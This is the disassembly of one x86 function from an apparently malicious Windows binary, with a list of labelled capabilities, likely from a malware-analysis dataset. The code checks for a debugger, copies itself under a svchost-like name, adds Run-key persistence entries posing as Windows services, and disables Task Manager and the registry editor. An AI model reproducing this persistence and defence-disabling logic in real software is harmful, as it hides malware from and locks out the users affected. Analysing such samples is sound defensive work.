Function at 0x402080
Capabilities:
Copy file
Create directory
Disable system features via registry on windows
Get common file path
Persist via run registry key
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
mov eax, dword [0x408040]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x408839], 0
push esi
mov esi, dword [ebp + 8]
push edi
jne 0x4020ba
push 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
add esp, 8
mov byte [0x408839], 1
mov edi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
call edi
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x4020d4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xorps xmm0, xmm0
mov dword [ebp - 0x140], 0
movlpd qword [ebp - 0x12e], xmm0
mov dword [ebp - 0x126], 0
call edi
test al, 1
je 0x4020fe
call fcn.004033d0
test esi, esi
je 0x4021ab
cmp byte [esi], 0
je 0x4021ab
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402114
sub ecx, edx
cmp ecx, 0x104
jae 0x4021ab
push 0x103
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x4021ab
push str.Generic_svchost.exe
lea eax, [ebp - 0x108]
push 4
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
add esp, 0xc
lea eax, [ebp - 0x108]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x402176
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4021ab
lea eax, [ebp - 0x108]
mov dword [ebp - 0x13c], 2
mov dword [ebp - 0x134], eax
mov eax, 0x1414
mov word [ebp - 0x130], ax
lea eax, [ebp - 0x140]
push eax
mov dword [ebp - 0x138], esi
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor esi, esi
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 0x120], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [ebp - 0x11c], str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnce
mov dword [ebp - 0x118], str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx
mov dword [ebp - 0x114], str.SOFTWAREMicrosoftWindowsCurrentVersionRunServices
mov dword [ebp - 0x134], str.Generic_Host_Process_for_Win32_Services
mov dword [ebp - 0x130], str.Windows_Updater
mov dword [ebp - 0x12c], str.Windows_Server
mov dword [ebp - 0x128], str.Generic
nop word [eax + eax]
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push dword [ebp + esi - 0x120]
push 0x80000002
call edi
test eax, eax
jne 0x40225d
call fcn.004033e0
push 0x103
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push dword [ebp + esi - 0x134]
push dword [ebp - 0x10c]
call ebx
push dword [ebp - 0x10c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add esi, 4
cmp esi, 0x10
jl 0x402210
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
mov dword [ebp - 0x118], str.DisableTaskMgr
mov dword [ebp - 0x114], str.DisableRegistrytools
nop dword [eax]
nop word [eax + eax]
lea eax, [ebp - 0x10c]
mov dword [ebp - 0x110], 1
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call edi
test eax, eax
jne 0x4022f4
cmp byte [section..data], al
je 0x4022c4
mov byte [section..data], al
jmp 0x4022c8
push 0xa
call ebx
push 4
lea eax, [ebp - 0x110]
push eax
push 4
push 0
push dword [ebp + esi*4 - 0x118]
push dword [ebp - 0x10c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x10c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc esi
cmp esi, 2
jl 0x402290
pop ebx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00403a86
mov esp, ebp
pop ebp
ret